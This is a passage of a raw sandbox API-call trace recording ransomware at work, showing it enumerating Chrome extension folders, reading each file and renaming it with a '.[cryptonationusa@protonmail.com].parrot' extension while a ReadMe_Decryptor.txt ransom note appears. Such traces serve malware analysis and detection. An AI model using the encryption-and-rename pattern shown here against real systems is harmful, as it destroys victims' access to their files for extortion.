ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0073.665] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb95b4780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb95b4780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0073.665] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb95da8e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb95da8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0073.665] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb95da8e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb95da8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0073.665] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9600a40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9600a40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0073.665] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9626ba0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9626ba0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0073.665] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9626ba0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9626ba0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0073.665] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9626ba0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9626ba0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0073.665] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0073.665] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.665] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ae0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ae0b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.665] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.665] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.665] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ae0b10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86adfb70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xdd12c400, ftLastWriteTime.dwHighDateTime=0x1d0683e, nFileSizeHigh=0x0, nFileSizeLow=0x2686, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1 [0073.666] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x279e, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.666] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.666] ReadFile (in: hFile=0x274, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0073.667] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.667] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2686, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x2686, lpOverlapped=0x0) returned 1 [0073.668] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.669] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x279e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.669] CloseHandle (hObject=0x274) returned 1 [0073.669] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.671] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0073.671] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb964cd00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb964cd00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.671] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb964cd00, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb964cd00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb964cd00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0073.672] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0073.672] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8f74dc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8f74dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8f74dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="128.png.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="128PNG~1.PAR")) returned 1 [0073.673] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0073.673] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x814d6d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8f74dc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8f74dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.1_0", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8f74dc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8f74dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.1_0", cAlternateFileName="")) returned 0 [0073.674] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0073.675] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.675] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.675] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.675] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.675] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836e0310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836e0310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5817.313.0.5_0", cAlternateFileName="581731~1.5_0")) returned 1 [0073.675] lstrcmpW (lpString1="5817.313.0.5_0", lpString2=".") returned 1 [0073.675] lstrcmpW (lpString1="5817.313.0.5_0", lpString2="..") returned 1 [0073.675] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0073.677] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.677] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836e0310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836e0310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.678] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.678] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.678] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83637bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8363f0f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="angular.js", cAlternateFileName="")) returned 1 [0073.678] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8c1d7, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.679] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.679] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0073.681] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.681] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8c0bf, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x8c0bf, lpOverlapped=0x0) returned 1 [0073.710] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.818] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8c1d7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.819] CloseHandle (hObject=0x27c) returned 1 [0073.819] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.826] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa9b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.826] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.826] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0073.828] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.828] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa89c, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xa89c, lpOverlapped=0x0) returned 1 [0073.831] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.831] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa9b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.831] CloseHandle (hObject=0x27c) returned 1 [0073.834] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.837] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x182c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.837] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.837] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0073.840] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.840] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x181aa, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x181aa, lpOverlapped=0x0) returned 1 [0073.843] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.845] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x182c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.846] CloseHandle (hObject=0x27c) returned 1 [0073.846] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.849] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x112f9, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.849] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.849] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0073.852] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.853] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x111e1, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x111e1, lpOverlapped=0x0) returned 1 [0073.858] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.859] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x112f9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.860] CloseHandle (hObject=0x27c) returned 1 [0073.860] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.862] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a370, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.862] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.862] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: 